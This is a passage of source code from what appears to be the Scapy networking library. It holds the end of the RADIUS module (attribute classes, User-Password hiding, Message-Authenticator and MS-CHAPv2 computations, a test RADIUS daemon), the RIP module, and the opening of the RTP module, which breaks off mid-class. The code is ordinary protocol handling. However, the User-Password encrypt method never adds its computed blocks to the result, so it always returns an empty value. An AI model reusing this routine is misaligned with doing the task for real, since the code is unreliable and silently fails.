189 class RadiusAttr_WLAN_RF_Band(_RadiusAttrIntValue): """RFC 7268""" val = 190 # # RADIUS attributes which values are string (displayed as hex) # class _RadiusAttrHexStringVal(_SpecificRadiusAttr): """ Implements a RADIUS attribute which value field is a string that will be as a hex string. """ __slots__ = ["val"] def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields): # noqa: E501 super(_RadiusAttrHexStringVal, self).__init__( _pkt, post_transform, _internal, _underlayer, **fields ) self.fields["type"] = self.val name_parts = self.__class__.__name__.split('RadiusAttr_') if len(name_parts) < 2: raise Scapy_Exception( "Invalid class name: {}".format(self.__class__.__name__) ) self.name = name_parts[1].replace('_', '-') fields_desc = [ ByteEnumField("type", 24, _radius_attribute_types), FieldLenField( "len", None, "value", "B", adjust=lambda p, x: len(p.value) + 2 ), XStrLenField("value", "", length_from=lambda p: p.len - 2 if p.len else 0) # noqa: E501 ] class RadiusAttr_User_Password(_RadiusAttrHexStringVal): """RFC 2865""" val = 2 def decrypt(self, radius_packet, secret): """ Return the decrypted value of the User-Password field RFC2865 sect 5.2 """ password = b"" encrypted = self.value ci = radius_packet.authenticator while encrypted: bi = Hash_MD5().digest(secret + ci) ci, encrypted = encrypted[:16], encrypted[16:] password += strxor(ci, bi) return password.rstrip(b"\x00") @staticmethod def encrypt(radius_packet, password, secret): """ Create a User-Password attribute from a secret RFC2865 sect 5.2 """ password = bytes_encode(password) # Pad to 16 octets boundary password += (-len(password) % 16) * b"\x00" encrypted = b"" ci = radius_packet.authenticator while password: bi = Hash_MD5().digest(secret + ci) ci = strxor(password[:16], bi) password = password[16:] return RadiusAttr_User_Password(value=encrypted) class RadiusAttr_State(_RadiusAttrHexStringVal): """RFC 2865""" val = 24 def prepare_packed_data(radius_packet, RequestAuth): """ Pack RADIUS data prior computing the authentication MAC """ s = bytes(radius_packet) Code_Id_Length = s[:4] Attributes = s[4 + 16:] return Code_Id_Length + RequestAuth + Attributes class RadiusAttr_Message_Authenticator(_RadiusAttrHexStringVal): """RFC 2869""" val = 80 fields_desc = [ ByteEnumField("type", 24, _radius_attribute_types), FieldLenField( "len", 18, "value", "B", ), XStrFixedLenField("value", "\x00" * 16, length=16) ] @staticmethod def compute_message_authenticator(radius_packet, packed_req_authenticator, shared_secret): """ Computes the "Message-Authenticator" of a given RADIUS packet. (RFC 2869 - Page 33) """ # Make sure the current auth is empty attr = radius_packet[RadiusAttr_Message_Authenticator] attr.value = b"\x00" * (attr.len - 2) data = prepare_packed_data(radius_packet, packed_req_authenticator) radius_hmac = hmac.new(shared_secret, data, hashlib.md5) return radius_hmac.digest() # # RADIUS attributes which values are IPv4 prefixes # class _RadiusAttrIPv4AddrVal(_SpecificRadiusAttr): """ Implements a RADIUS attribute which value field is an IPv4 address. """ __slots__ = ["val"] fields_desc = [ ByteEnumField("type", 4, _radius_attribute_types), ByteField("len", 6), IPField("value", "0.0.0.0") ] class RadiusAttr_NAS_IP_Address(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 4 class RadiusAttr_Framed_IP_Address(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 8 class RadiusAttr_Framed_IP_Netmask(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 9 class RadiusAttr_Login_IP_Host(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 14 class RadiusAttr_Framed_IPX_Network(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 23 class RadiusAttr_PMIP6_Home_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 149 class RadiusAttr_PMIP6_Visited_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 150 class RadiusAttr_PMIP6_Home_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 157 class RadiusAttr_PMIP6_Visited_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 158 class RadiusAttr_PMIP6_Home_IPv4_Gateway(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 161 class RadiusAttr_PMIP6_Visited_IPv4_Gateway(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 162 # See IANA registry "RADIUS Types" _radius_attrs_values = { # Service-Type 6: { 1: "Login", 2: "Framed", 3: "Callback Login", 4: "Callback Framed", 5: "Outbound", 6: "Administrative", 7: "NAS Prompt", 8: "Authenticate Only", 9: "Callback NAS Prompt", 10: "Call Check", 11: "Callback Administrative", 12: "Voice", 13: "Fax", 14: "Modem Relay", 15: "IAPP-Register", 16: "IAPP-AP-Check", 17: "Authorize Only", 18: "Framed-Management", 19: "Additional-Authorization" }, # Framed-Protocol 7: { 1: "PPP", 2: "SLIP", 3: "AppleTalk Remote Access Protocol (ARAP)", 4: "Gandalf proprietary SingleLink/MultiLink protocol", 5: "Xylogics proprietary IPX/SLIP", 6: "X.75 Synchronous", 7: "GPRS PDP Context" }, # Framed-Routing 10: { 0: "None", 1: "Send routing packets", 2: "Listen for routing packets", 3: "Send and Listen" }, # Framed-Compression 13: { 0: "None", 1: "VJ TCP/IP header compression", 2: "IPX header compression", 3: "Stac-LZS compression" }, # Login-Service 15: { 0: "Telnet", 1: "Rlogin", 2: "TCP Clear", 3: "PortMaster (proprietary)", 4: "LAT", 5: "X25-PAD", 6: "X25-T3POS", 7: "Unassigned", 8: "TCP Clear Quiet (suppresses any NAS-generated connect string)" }, # Termination-Action 29: { 0: "Default", 1: "RADIUS-Request" }, # Acct-Status-Type 40: { 1: "Start", 2: "Stop", 3: "Interim-Update", 4: "Unassigned", 5: "Unassigned", 6: "Unassigned", 7: "Accounting-On", 8: "Accounting-Off", 9: "Tunnel-Start", 10: "Tunnel-Stop", 11: "Tunnel-Reject", 12: "Tunnel-Link-Start", 13: "Tunnel-Link-Stop", 14: "Tunnel-Link-Reject", 15: "Failed" }, # Acct-Authentic 45: { 1: "RADIUS", 2: "Local", 3: "Remote", 4: "Diameter" }, # Acct-Terminate-Cause 49: { 1: "User Request", 2: "Lost Carrier", 3: "Lost Service", 4: "Idle Timeout", 5: "Session Timeout", 6: "Admin Reset", 7: "Admin Reboot", 8: "Port Error", 9: "NAS Error", 10: "NAS Request", 11: "NAS Reboot", 12: "Port Unneeded", 13: "Port Preempted", 14: "Port Suspended", 15: "Service Unavailable", 16: "Callback", 17: "User Error", 18: "Host Request", 19: "Supplicant Restart", 20: "Reauthentication Failure", 21: "Port Reinitialized", 22: "Port Administratively Disabled", 23: "Lost Power", }, # NAS-Port-Type 61: { 0: "Async", 1: "Sync", 2: "ISDN Sync", 3: "ISDN Async V.120", 4: "ISDN Async V.110", 5: "Virtual", 6: "PIAFS", 7: "HDLC Clear Channel", 8: "X.25", 9: "X.75", 10: "G.3 Fax", 11: "SDSL - Symmetric DSL", 12: "ADSL-CAP - Asymmetric DSL, Carrierless Amplitude Phase Modulation", # noqa: E501 13: "ADSL-DMT - Asymmetric DSL, Discrete Multi-Tone", 14: "IDSL - ISDN Digital Subscriber Line", 15: "Ethernet", 16: "xDSL - Digital Subscriber Line of unknown type", 17: "Cable", 18: "Wireles - Other", 19: "Wireless - IEEE 802.11", 20: "Token-Ring", 21: "FDDI", 22: "Wireless - CDMA2000", 23: "Wireless - UMTS", 24: "Wireless - 1X-EV", 25: "IAPP", 26: "FTTP - Fiber to the Premises", 27: "Wireless - IEEE 802.16", 28: "Wireless - IEEE 802.20", 29: "Wireless - IEEE 802.22", 30: "PPPoA - PPP over ATM", 31: "PPPoEoA - PPP over Ethernet over ATM", 32: "PPPoEoE - PPP over Ethernet over Ethernet", 33: "PPPoEoVLAN - PPP over Ethernet over VLAN", 34: "PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ", 35: "xPON - Passive Optical Network", 36: "Wireless - XGP", 37: "WiMAX Pre-Release 8 IWK Function", 38: "WIMAX-WIFI-IWK: WiMAX WIFI Interworking", 39: "WIMAX-SFF: Signaling Forwarding Function for LTE/3GPP2", 40: "WIMAX-HA-LMA: WiMAX HA and or LMA function", 41: "WIMAX-DHCP: WIMAX DHCP service", 42: "WIMAX-LBS: WiMAX location based service", 43: "WIMAX-WVS: WiMAX voice service" }, # Tunnel-Type 64: { 1: "Point-to-Point Tunneling Protocol (PPTP)", 2: "Layer Two Forwarding (L2F)", 3: "Layer Two Tunneling Protocol (L2TP)", 4: "Ascend Tunnel Management Protocol (ATMP)", 5: "Virtual Tunneling Protocol (VTP)", 6: "IP Authentication Header in the Tunnel-mode (AH)", 7: "IP-in-IP Encapsulation (IP-IP)", 8: "Minimal IP-in-IP Encapsulation (MIN-IP-IP)", 9: "IP Encapsulating Security Payload in the Tunnel-mode (ESP)", 10: "Generic Route Encapsulation (GRE)", 11: "Bay Dial Virtual Services (DVS)", 12: "IP-in-IP Tunneling", 13: "Virtual LANs (VLAN)" }, # Tunnel-Medium-Type 65: { 1: "IPv4 (IP version 4)", 2: "IPv6 (IP version 6)", 3: "NSAP", 4: "HDLC (8-bit multidrop)", 5: "BBN 1822", 6: "802", 7: "E.163 (POTS)", 8: "E.164 (SMDS, Frame Relay, ATM)", 9: "F.69 (Telex)", 10: "X.121 (X.25, Frame Relay)", 11: "IPX", 12: "Appletalk", 13: "Decnet IV", 14: "Banyan Vine", 15: "E.164 with NSAP format subaddress" }, # ARAP-Zone-Access 72: { 1: "Only allow access to default zone", 2: "Use zone filter inclusively", 3: "Not used", 4: "Use zone filter exclusively" }, # Prompt 76: { 0: "No Echo", 1: "Echo" }, # Error-Cause Attribute 101: { 201: "Residual Session Context Removed", 202: "Invalid EAP Packet (Ignored)", 401: "Unsupported Attribute", 402: "Missing Attribute", 403: "NAS Identification Mismatch", 404: "Invalid Request", 405: "Unsupported Service", 406: "Unsupported Extension", 407: "Invalid Attribute Value", 501: "Administratively Prohibited", 502: "Request Not Routable (Proxy)", 503: "Session Context Not Found", 504: "Session Context Not Removable", 505: "Other Proxy Processing Error", 506: "Resources Unavailable", 507: "Request Initiated", 508: "Multiple Session Selection Unsupported", 509: "Location-Info-Required", 601: "Response Too Big" }, # Operator Namespace Identifier - Attribute 126 126: { 0x30: "TADIG", 0x31: "REALM", 0x32: "E212", 0x33: "ICC", 0xFF: "Reserved" }, # Basic-Location-Policy-Rules 129: { 0: "Retransmission allowed", }, # Location-Capable 131: { 1: "CIVIC_LOCATION", 2: "GEO_LOCATION", 4: "USERS_LOCATION", 8: "NAS_LOCATION" }, # Framed-Management-Protocol 133: { 1: "SNMP", 2: "Web-based", 3: "NETCONF", 4: "FTP", 5: "TFTP", 6: "SFTP", 7: "RCP", 8: "SCP" }, # Management-Transport-Protection 134: { 1: "No-Protection", 2: "Integrity-Protection", 3: "Integrity-Confidentiality-Protection", }, } class _RadiusAttrIntEnumVal(_SpecificRadiusAttr): """ Implements a RADIUS attribute which value field is 4 bytes long integer. """ __slots__ = ["val"] fields_desc = [ ByteEnumField("type", 6, _radius_attribute_types), ByteField("len", 6), MultiEnumField( "value", 0, _radius_attrs_values, depends_on=lambda p: p.type, fmt="I" ) ] class RadiusAttr_Service_Type(_RadiusAttrIntEnumVal): """RFC 2865""" val = 6 class RadiusAttr_Framed_Protocol(_RadiusAttrIntEnumVal): """RFC 2865""" val = 7 class RadiusAttr_Acct_Status_Type(_RadiusAttrIntEnumVal): """RFC 2866""" val = 40 class RadiusAttr_Acct_Authentic(_RadiusAttrIntEnumVal): """RFC 2866""" val = 45 class RadiusAttr_Acct_Terminate_Cause(_RadiusAttrIntEnumVal): """RFC 2866""" val = 49 class RadiusAttr_NAS_Port_Type(_RadiusAttrIntEnumVal): """RFC 2865""" val = 61 # # RADIUS attributes that are complex structures # class _EAPPacketField(PacketLenField): """ Handles EAP-Message attribute value (the actual EAP packet). """ def m2i(self, pkt, m): ret = None eap_packet_len = struct.unpack("!H", m[2:4])[0] if eap_packet_len < 254: # If the EAP packet has not been fragmented, build a Scapy EAP # packet from the data. ret = EAP(m) else: ret = conf.raw_layer(m) return ret class RadiusAttr_EAP_Message(RadiusAttribute): """ Implements the "EAP-Message" attribute (RFC 3579). """ name = "EAP-Message" match_subclass = True fields_desc = [ ByteEnumField("type", 79, _radius_attribute_types), FieldLenField( "len", None, "value", "B", adjust=lambda pkt, x: x + 2 ), _EAPPacketField("value", "", EAP, length_from=lambda p: p.len - 2) ] def post_dissect(self, s): if not conf.contribs.get("radius", {}).get("auto-defrag", True): return s if isinstance(self.value, conf.raw_layer): # Defragment x = s buf = self.value.load while x and struct.unpack("!B", x[:1])[0] == 79: # Let's carefully avoid the infinite loop length = struct.unpack("!B", x[1:2])[0] if not length: return s buf, x = buf + x[2:length], x[length:] if length < 254: self.value = EAP(buf) return x return s _radius_vendor_types = { # Microsoft (RFC 2548) 311: { 1: "MS-CHAP-Response", 2: "MS-CHAP-Error", 3: "MS-CHAP-CPW-1", 4: "MS-CHAP-CPW-2", 5: "MS-CHAP-LM-Enc-PW", 6: "MS-CHAP-NT-Enc-PW", 7: "MS-MPPE-Encryption-Policy", 8: "MS-MPPE-Encryption-Type", 9: "MS-RAS-Vendor", 10: "MS-CHAP-Domain", 11: "MS-CHAP-Challenge", 12: "MS-CHAP-MPPE-Keys", 13: "MS-BAP-Usage", 14: "MS-Link-Utilization-Threshold", 15: "MS-Link-Drop-Time-Limit", 16: "MS-MPPE-Send-Key", 17: "MS-MPPE-Recv-Key", 18: "MS-RAS-Version", 19: "MS-Old-ARAP-Password", 20: "MS-New-ARAP-Password", 21: "MS-ARAP-PW-Change-Reason", 22: "MS-Filter", 23: "MS-Acct-Auth-Type", 24: "MS-Acct-EAP-Type", 25: "MS-CHAP2-Response", 26: "MS-CHAP2-Success", 27: "MS-CHAP2-CPW", 28: "MS-Primary-DNS-Server", 29: "MS-Secondary-DNS-Server", 30: "MS-Primary-NBNS-Server", 31: "MS-Secondary-NBNS-Server", 33: "MS-ARAP-Challenge", } } class _RadiusAttrVendorValue(Packet): """ Used to register a 'value' vendor-specific """ registered_vendor_value = collections.defaultdict(dict) VENDOR_ID = 0 VENDOR_TYPE = 0 @classmethod def register_variant(cls): cls.registered_vendor_value[cls.VENDOR_ID][cls.VENDOR_TYPE] = cls def _radius_vendor_cls(pkt): """ Return the class that makes for a 'value' in the vendor attribute, or None. """ if pkt.vendor_id not in _RadiusAttrVendorValue.registered_vendor_value: return None return _RadiusAttrVendorValue.registered_vendor_value[pkt.vendor_id].get( pkt.vendor_type, None, ) class _RadiusVendorValueField(PacketLenField): def m2i(self, pkt, s): return _radius_vendor_cls(pkt)(s, _parent=pkt) class RadiusAttr_Vendor_Specific(RadiusAttribute): """ Implements the "Vendor-Specific" attribute, as described in RFC 2865. """ name = "Vendor-Specific" match_subclass = True fields_desc = [ ByteEnumField("type", 26, _radius_attribute_types), FieldLenField( "len", None, "value", "B", adjust=lambda pkt, x: len(pkt.value) + 8 ), IntEnumField("vendor_id", 0, { 311: "Microsoft", }), MultiEnumField( "vendor_type", 0, _radius_vendor_types, depends_on=lambda p: p.vendor_id, fmt="B" ), FieldLenField( "vendor_len", None, "value", "B", adjust=lambda p, x: len(p.value) + 2 ), MultipleTypeField( [ ( _RadiusVendorValueField("value", None, None, length_from=lambda p: p.vendor_len - 2), lambda pkt: _radius_vendor_cls(pkt) is not None ) ], StrLenField("value", "", length_from=lambda p: p.vendor_len - 2), ) ] # See IANA RADIUS Packet Type Codes registry _packet_codes = { 1: "Access-Request", 2: "Access-Accept", 3: "Access-Reject", 4: "Accounting-Request", 5: "Accounting-Response", 6: "Accounting-Status (now Interim Accounting)", 7: "Password-Request", 8: "Password-Ack", 9: "Password-Reject", 10: "Accounting-Message", 11: "Access-Challenge", 12: "Status-Server (experimental)", 13: "Status-Client (experimental)", 21: "Resource-Free-Request", 22: "Resource-Free-Response", 23: "Resource-Query-Request", 24: "Resource-Query-Response", 25: "Alternate-Resource-Reclaim-Request", 26: "NAS-Reboot-Request", 27: "NAS-Reboot-Response", 28: "Reserved", 29: "Next-Passcode", 30: "New-Pin", 31: "Terminate-Session", 32: "Password-Expired", 33: "Event-Request", 34: "Event-Response", 40: "Disconnect-Request", 41: "Disconnect-ACK", 42: "Disconnect-NAK", 43: "CoA-Request", 44: "CoA-ACK", 45: "CoA-NAK", 50: "IP-Address-Allocate", 51: "IP-Address-Release", 52: "Protocol-Error", 250: "Experimental Use", 251: "Experimental Use", 252: "Experimental Use", 253: "Experimental Use", 254: "Reserved", 255: "Reserved" } class Radius(Packet): """ Implements a RADIUS packet (RFC 2865). """ name = "RADIUS" fields_desc = [ ByteEnumField("code", 1, _packet_codes), ByteField("id", 0), FieldLenField( "len", None, "attributes", "H", adjust=lambda pkt, x: len(pkt.attributes) + 20 ), XStrFixedLenField("authenticator", "", 16), PacketListField( "attributes", [], RadiusAttribute, length_from=lambda pkt: pkt.len - 20 ) ] def compute_authenticator(self, packed_request_auth, shared_secret): """ Computes the authenticator field (RFC 2865 - Section 3) """ data = prepare_packed_data(self, packed_request_auth) radius_mac = hashlib.md5(data + shared_secret) return radius_mac.digest() def post_build(self, p, pay): p += pay length = self.len if length is None: length = len(p) p = p[:2] + struct.pack("!H", length) + p[4:] return p def mysummary(self): extra = "" if self.code == 1: # Access-Request attrs = { ( (x.vendor_id, x.vendor_type) if RadiusAttr_Vendor_Specific in x else x.type ): x for x in self.attributes if isinstance(x, RadiusAttribute) } # Log additional attributes if 1 in attrs: extra += "User:'%s' " % attrs[1].value.decode(errors="ignore") # Try to detect the logon algo if 2 in attrs: extra += "PAP" elif 3 in attrs: extra += "CHAP" elif 79 in attrs: extra += "EAP" elif (311, 1) in attrs: extra += "MS-CHAP" elif (311, 25) in attrs: extra += "MS-CHAP2" if extra: extra = " (%s)" % extra.strip() return self.sprintf("RADIUS %code%") + extra bind_bottom_up(UDP, Radius, sport=1812) bind_bottom_up(UDP, Radius, dport=1812) bind_bottom_up(UDP, Radius, sport=1813) bind_bottom_up(UDP, Radius, dport=1813) bind_bottom_up(UDP, Radius, sport=3799) bind_bottom_up(UDP, Radius, dport=3799) bind_layers(UDP, Radius, sport=1812, dport=1812) # MS-CHAP2 # RFC 2548 sect 2.3.2 class MS_CHAP2_Response(_RadiusAttrVendorValue): VENDOR_ID = 311 VENDOR_TYPE = 25 fields_desc = [ ByteField("Ident", 0), ByteField("Flags", 0), XStrFixedLenField("PeerChallenge", b"", length=16), XStrFixedLenField("Reserved", b"", length=8), XStrFixedLenField("Response", b"", length=24), ] # RFC 2548 sect 2.3.3 class MS_CHAP2_Success(_RadiusAttrVendorValue): VENDOR_ID = 311 VENDOR_TYPE = 26 fields_desc = [ ByteField("Ident", 0), StrFixedLenField("String", b"", length=42), ] # RFC 2548 sect 2.1.5 class MS_CHAP_Error(_RadiusAttrVendorValue): VENDOR_ID = 311 VENDOR_TYPE = 2 fields_desc = [ ByteField("Ident", 0), StrField("String", b""), ] # RFC 2548 sect 2.1.4 class MS_CHAP_Domain(_RadiusAttrVendorValue): VENDOR_ID = 311 VENDOR_TYPE = 10 fields_desc = [ ByteField("Ident", 0), StrField("String", b""), ] def MS_CHAP2_GenerateNTResponse(AuthenticatorChallenge, PeerChallenge, UserName, HashNT): """ RFC2759 sect 8.1 """ Challenge = MS_CHAP2_ChallengeHash(PeerChallenge, AuthenticatorChallenge, UserName) PasswordHash = HashNT return MS_CHAP2_ChallengeResponse(Challenge, PasswordHash) def MS_CHAP2_ChallengeHash(PeerChallenge, AuthenticatorChallenge, UserName): """ rfc 2759 sect 8.2 """ UserName = UserName.split(b"\\")[-1] # Strip domain if present return Hash_SHA().digest(PeerChallenge + AuthenticatorChallenge + UserName)[:8] def MS_CHAP2_ChallengeResponse(Challenge, PasswordHash): """ rfc 2759 sect 8.5 """ ZPasswordHash = int.from_bytes( PasswordHash + b"\x00" * (-len(PasswordHash) % 21), "big", ) # Add !FAKE! DES parity bits because cryptography requires them (then drops them) ZPasswordHashParity = b"" for _ in range(24): val, ZPasswordHash = (ZPasswordHash & 0x7F), (ZPasswordHash >> 7) ZPasswordHashParity = struct.pack("B", val << 1) + ZPasswordHashParity return ( Cipher_DES_ECB(ZPasswordHashParity[0:8]).encrypt(Challenge) + Cipher_DES_ECB(ZPasswordHashParity[8:16]).encrypt(Challenge) + Cipher_DES_ECB(ZPasswordHashParity[16:24]).encrypt(Challenge) ) def MS_CHAP2_GenerateAuthenticatorResponse(HashNT, NTResponse, PeerChallenge, AuthenticatorChallenge, UserName): """ rfc 2759 sect 8.7 """ Magic1 = bytes(bytearray([ 0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74, ])) Magic2 = bytes(bytearray([ 0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F, 0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E, 0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E ])) PasswordHash = HashNT PasswordHashHash = Hash_MD4().digest(PasswordHash) Digest = Hash_SHA().digest(PasswordHashHash + NTResponse + Magic1) Challenge = MS_CHAP2_ChallengeHash( PeerChallenge, AuthenticatorChallenge, UserName, ) return Hash_SHA().digest(Digest + Challenge + Magic2) # Answering machine class RadiusAuthType(enum.Enum): MS_CHAP_V2 = enum.auto() EAP = enum.auto() @crypto_validator class Radius_am(AnsweringMachine): function_name = "radiusd" filter = "udp and port 1812" send_function = staticmethod(send) send_options_list = ["inter", "verbose"] def parse_options(self, secret, IDENTITIES=None, IDENTITIES_MSCHAPv2=None, servicetype=None, mschapdomain=None, extra_attributes=[]): """ This provides a tiny RADIUS daemon that answers Access-Request messages. This can be used while setting up a Cisco switch for instance. Demo:: >>> radiusd(secret="SECRET", iface="lo", IDENTITIES={"user": "password"}) $ echo "Message-Authenticator=0x00,User-Name=user,\\ User-Password=password" | radclient -P udp 127.0.0.1 auth -F SECRET :param secret: the server's secret :param IDENTITIES: the identities in format {"username": b"password"} :param IDENTITIES_MSCHAPv2: the MsCHAPv2 identities in format {"username": b"HashNT"}. The HashNT can be obtained using MD4le(). If IDENTITIES is provided, this will be calculated. :param servicetype: the Service-Type to answer. :param mschapdomain: the MS-CHAP-DOMAIN to answer if MS-CHAP* is used. :param extra_attributes: a list of extra Radius attributes """ self.secret = bytes_encode(secret) self.servicetype = servicetype self.mschapdomain = mschapdomain self.extra_attributes = extra_attributes if not IDENTITIES: IDENTITIES = {} if IDENTITIES_MSCHAPv2 is None and IDENTITIES: IDENTITIES_MSCHAPv2 = { user: MD4le(pwd) for user, pwd in IDENTITIES.items() } self.IDENTITIES = { user: bytes_encode(pwd) for user, pwd in IDENTITIES.items() } self.IDENTITIES_MSCHAPv2 = IDENTITIES_MSCHAPv2 def is_request(self, req): # Only match Access-Request return Radius in req and req[Radius].code == 1 def print_reply(self, req, reply): print("%s / %s -> %s" % ( reply[IP].dst, req[Radius].summary(), ( conf.color_theme.fail if reply.code != 2 else conf.color_theme.success )(reply.sprintf("%Radius.code%")), )) def make_reply(self, req): resp = req # Basic response resp = ( IP(src=req[IP].dst, dst=req[IP].src) / UDP(sport=req[UDP].dport, dport=req[UDP].sport) ) # Sort attributes for quick access attrs = { ( (x.vendor_id, x.vendor_type) if RadiusAttr_Vendor_Specific in x else x.type ): x for x in req.attributes } # Build Radius response rad = Radius(code=2, id=req[Radius].id) # Process various authentication methods try: if 2 in attrs: # PAP if not self.IDENTITIES: raise Scapy_Exception( "Missing IDENTITIES for User-Password auth ! Assuming OK." ) UserName = attrs[1].value KnownPassword = self.IDENTITIES.get(UserName.decode(), None) UserPassword = attrs[2].decrypt( req, self.secret, ) if KnownPassword is None: log_runtime.warning("Couldn't find user '%s'" % UserName.decode()) rad.code = 3 elif UserPassword != KnownPassword: log_runtime.warning( "Bad password for user '%s'" % UserName.decode() ) rad.code = 3 elif 79 in attrs: # EAP-Message is used raise Scapy_Exception( "EAP as a Radius auth method is not implemented !" ) elif (311, 25) in attrs: # MS-CHAP2 if not self.IDENTITIES_MSCHAPv2: raise Scapy_Exception("Missing IDENTITIES_MSCHAPv2 for MsChapV2 !") response = attrs[(311, 25)].value try: AuthenticatorChallenge = attrs[(311, 11)].value # CHAP-Challenge except KeyError: raise Scapy_Exception("Missing CHAP-Challenge !") UserName = attrs[1].value HashNT = self.IDENTITIES_MSCHAPv2.get(UserName.decode(), None) # 1. Check the client-provided NTResponse if HashNT is None: log_runtime.warning("Couldn't find user '%s'" % UserName.decode()) rad.code = 3 elif MS_CHAP2_GenerateNTResponse( AuthenticatorChallenge, response.PeerChallenge, UserName, HashNT) != response.Response: log_runtime.warning( "Bad MS-CHAP2-NTResponse for user '%s' !" % UserName.decode() ) rad.code = 3 # Did the auth failed? if rad.code == 3: rad.attributes.append( RadiusAttr_Vendor_Specific( vendor_id="Microsoft", vendor_type=2, value=MS_CHAP_Error( Ident=response.Ident, String="E=691 R=0 V=3", ), ) ) else: # 2. Build the response 'success' response auth_string = MS_CHAP2_GenerateAuthenticatorResponse( HashNT, response.Response, response.PeerChallenge, AuthenticatorChallenge, UserName, ) rad.attributes.append( RadiusAttr_Vendor_Specific( vendor_id=311, vendor_type="MS-CHAP2-Success", value=MS_CHAP2_Success( Ident=response.Ident, String="S=%s" % auth_string.hex().upper() ) ) ) if self.mschapdomain is not None: rad.attributes.append( RadiusAttr_Vendor_Specific( vendor_id=311, vendor_type="MS-CHAP-Domain", value=MS_CHAP_Domain( Ident=response.Ident, String=self.mschapdomain, ) ) ) else: raise Scapy_Exception( "Authentication method not provided or unsupported !" ) except Scapy_Exception as ex: # display a warning log_runtime.warning(str(ex)) # Add additional records if it's an accept if rad.code == 2: if self.servicetype is not None: rad.attributes.append( RadiusAttr_Service_Type(value=self.servicetype) ) rad.attributes.extend(self.extra_attributes) # Add and compute message authenticator mauth = RadiusAttr_Message_Authenticator() rad.attributes.insert(0, mauth) mauth.value = mauth.compute_message_authenticator( rad, req.authenticator, self.secret, ) # Add global authenticator rad.authenticator = rad.compute_authenticator(req.authenticator, self.secret) # Final packet return resp / rad ================================================ FILE: scapy/layers/rip.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ RIP (Routing Information Protocol). """ from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ IPField, IntEnumField, IntField, ShortEnumField, ShortField, \ StrFixedLenField, StrLenField from scapy.layers.inet import UDP class RIP(Packet): name = "RIP header" fields_desc = [ ByteEnumField("cmd", 1, {1: "req", 2: "resp", 3: "traceOn", 4: "traceOff", # noqa: E501 5: "sun", 6: "trigReq", 7: "trigResp", 8: "trigAck", # noqa: E501 9: "updateReq", 10: "updateResp", 11: "updateAck"}), # noqa: E501 ByteField("version", 1), ShortField("null", 0), ] def guess_payload_class(self, payload): if payload[:2] == b"\xff\xff": return RIPAuth else: return Packet.guess_payload_class(self, payload) class RIPEntry(RIP): name = "RIP entry" fields_desc = [ ShortEnumField("AF", 2, {2: "IP"}), ShortField("RouteTag", 0), IPField("addr", "0.0.0.0"), IPField("mask", "0.0.0.0"), IPField("nextHop", "0.0.0.0"), IntEnumField("metric", 1, {16: "Unreach"}), ] class RIPAuth(Packet): name = "RIP authentication" fields_desc = [ ShortEnumField("AF", 0xffff, {0xffff: "Auth"}), ShortEnumField("authtype", 2, {1: "md5authdata", 2: "simple", 3: "md5"}), # noqa: E501 ConditionalField(StrFixedLenField("password", None, 16), lambda pkt: pkt.authtype == 2), ConditionalField(ShortField("digestoffset", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("keyid", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("authdatalen", 0), lambda pkt: pkt.authtype == 3), ConditionalField(IntField("seqnum", 0), lambda pkt: pkt.authtype == 3), ConditionalField(StrFixedLenField("zeropad", None, 8), lambda pkt: pkt.authtype == 3), ConditionalField(StrLenField("authdata", None, length_from=lambda pkt: pkt.md5datalen), lambda pkt: pkt.authtype == 1) ] def pre_dissect(self, s): if s[2:4] == b"\x00\x01": self.md5datalen = len(s) - 4 return s bind_bottom_up(UDP, RIP, dport=520) bind_bottom_up(UDP, RIP, sport=520) bind_layers(UDP, RIP, sport=520, dport=520) bind_layers(RIP, RIPEntry,) bind_layers(RIPEntry, RIPEntry,) bind_layers(RIPAuth, RIPEntry,) ================================================ FILE: scapy/layers/rtp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ RTP (Real-time Transport Protocol). Remember to use:: bind_layers(UDP, RTP, dport=XXX) To register the port you are using """ from scapy.packet import Packet, bind_layers from scapy.fields import BitEnumField, BitField, BitFieldLenField, \ FieldLenField, FieldListField, IntField, ShortField _rtp_payload_types = { # http://www.iana.org/assignments/rtp-parameters 0: 'G.711 PCMU', 3: 'GSM', 4: 'G723', 5: 'DVI4', 6: 'DVI4', 7: 'LPC', 8: 'PCMA', 9: 'G722', 10: 'L16', 11: 'L16', 12: 'QCELP', 13: 'CN', 14: 'MPA', 15: 'G728', 16: 'DVI4', 17: 'DVI4', 18: 'G729', 25: 'CelB', 26: 'JPEG', 28: 'nv', 31: 'H261', 32: 'MPV', 33: 'MP2T', 34: 'H263'} class RTPExtension(Packet): 